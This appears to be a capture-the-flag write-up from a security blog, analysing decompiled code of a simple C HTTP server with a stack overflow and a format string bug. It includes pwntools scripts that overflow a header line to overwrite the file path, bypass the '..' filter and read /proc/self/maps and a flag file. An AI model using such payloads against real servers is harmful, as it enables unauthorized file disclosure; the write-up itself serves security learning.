#Find bug
It is a simple HTTP server written in C language. There are two simple vulnerabilities.
1. Stack overflow
Length is not verified when receiving input from the client. Therefore, Stack overflow occurs.
int __fastcall readline(_BYTE *buf)
{
int result; // eax
_BYTE *i; // [rsp+18h] [rbp-8h]
for ( i = buf; ; ++i )
{
result = fgetc(stdin);
if ( (_BYTE)result == -1 )
break;
if ( (_BYTE)result == '\n' && *(i - 1) == '\r' )
{
result = (_DWORD)i - 1;
*(i - 1) = 0;
return result;
}
*i = result;
}
return result;
}
We can do a lot with this vulnerability because no canary exists on the HTTP server.
2. Format string bug
The HTTP server uses the syslog function to log. The client can put arbitrary input in the format part of this function.
int __fastcall respfile(const char *file, unsigned int status, __int64 a3)
{
unsigned int length; // eax
int result; // eax
unsigned int v5; // eax
__int64 disc; // [rsp+8h] [rbp-28h]
FILE *fd; // [rsp+28h] [rbp-8h]
disc = a3;
fd = fopen(file, "rb");
syslog(7, file); // format string bug
if ( fd )
{
length = filesize(fd);
printf("HTTP/1.1 %d %s\r\nContent-Length: %d\r\n\r\n", status, disc, length);
result = dumpfile(fd);
}
else if ( status == 404 )
{
fd = fopen("./error/500.html", "rb");
if ( !fd )
_exit(1);
v5 = filesize(fd);
printf("HTTP/1.1 500 Internal Server Error\r\nContent-Length: %d\r\n\r\n", v5);
result = dumpfile(fd);
}
else
{
result = respfile("./error/404.html", 0x194u, (__int64)"Not Found");
}
if ( fd )
result = fclose(fd);
return result;
}
This bug is not needed to read the flag.
#Read flag
The HTTP server filters the string ".." to prevent hacking. However, the client can modify the file path arbitrarily by using Stack overflow.
This allows clients to read arbitrary files.The HTTP server filters the string ".." to prevent hacking. However, the client can modify the file path arbitrarily by using Stack overflow. This is because file_name is a local variable located after buf. This allows clients to read arbitrary files.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-1014h]
char buf; // [rsp+10h] [rbp-1010h]
char v5; // [rsp+810h] [rbp-810h]
unsigned __int64 v6; // [rsp+1018h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup();
for ( i = 0; i < max_keep_alive_requests && (unsigned int)handle_request(&buf, &v5); ++i )
;
closelog();
_exit(0);
}
__int64 __fastcall handle_request(_BYTE *buf, _WORD *file_name)
{
char *v2; // rax
unsigned __int64 v3; // rax
char *v4; // rax
int i; // [rsp+14h] [rbp-1Ch]
unsigned int keep_alive; // [rsp+18h] [rbp-18h]
int v8; // [rsp+1Ch] [rbp-14h]
_BYTE *j; // [rsp+20h] [rbp-10h]
char *path; // [rsp+28h] [rbp-8h]
keep_alive = 0;
memset(file_name, 0, 0x100uLL);
memset(buf, 0, 0x100uLL);
*(_QWORD *)file_name = 'oorcod/.';
file_name[4] = 't';
readline(buf);
v2 = strtok(buf, " ");
if ( !strcmp(v2, "GET") )
{
path = strtok(0LL, " ");
if ( !path )
_exit(1);
if ( strstr(path, "..") )// .. 필터링
{
respfile("./error/666.html", 0x29Au, (__int64)"You Are Hacker");
_exit(1);
}
if ( *path != '/' )
_exit(1);
if ( !path[1] )
{
v3 = (unsigned __int64)&path[strlen(path)];
*(_QWORD *)v3 = 'th.xedni';
*(_WORD *)(v3 + 8) = 'lm';
*(_BYTE *)(v3 + 10) = 0;
}
v8 = strlen(path);
for ( i = 0; i < v8; ++i )
*((_BYTE *)file_name + i + 9) = path[i];
do
{
readline(buf); // Overwrite File path using Stack overflow
for ( j = buf; *j; ++j )
*j = tolower((char)*j);
if ( strtok(buf, ":") )
{
if ( !strcmp(buf, "connection") )
{
v4 = strtok(0LL, &byte_12A1);
if ( !strcmp(v4, " keep-alive") )
keep_alive = 1;
}
}
}
while ( *buf );
respfile((const char *)file_name, 200u, (__int64)"OK");//resp any file!!!
}
else
{
respfile("./error/405.html", 405u, (__int64)"Not Allowed");
}
return keep_alive;
}
We can read a arbitrary file in the file system or overwrite the return address using the Stack overflow. Before overwriting the return address, we must read the /proc/self/maps file to bypass PIE and aslr.
from pwn import *
p = remote('76.74.170.193',9006)
payload = "GET /"+"a"*0x100
payload+="\r\n"
payload+='connection: keep-alive'
payload+="\r\n"
payload+='a'*0x800
payload+="/proc/self/maps" #path
payload+='\r\n\r\n'
p.send(payload)
p.interactive()
Binaries exist in /home/pwn/. Don't you think there will be a flag in /home/pwn/flag.txt?
from pwn import *
p = remote('76.74.170.193',9006)
payload = "GET /"+"a"*0x100
payload+="\r\n"
payload+='connection: keep-alive'
payload+="\r\n"
payload+='a'*0x800
payload+="/home/pwn/flag.txt"
payload+='\r\n\r\n'
p.send(payload)
p.interactive()
Cool.
We can't overwrite return address using stack overflow.
'PWN' 카테고리의 다른 글
ASIS CTF 2020 / shared_house (0) | 2020.07.08 |
---|---|
Structure for Kernel heap exploit (0) | 2020.07.07 |
Multiple vulnerabilities In radare2-extras / Fixed (0) | 2020.07.03 |
2020 PWN2WIN / tukro (0) | 2020.06.01 |
2020 DawgCTF / trASCII (0) | 2020.04.14 |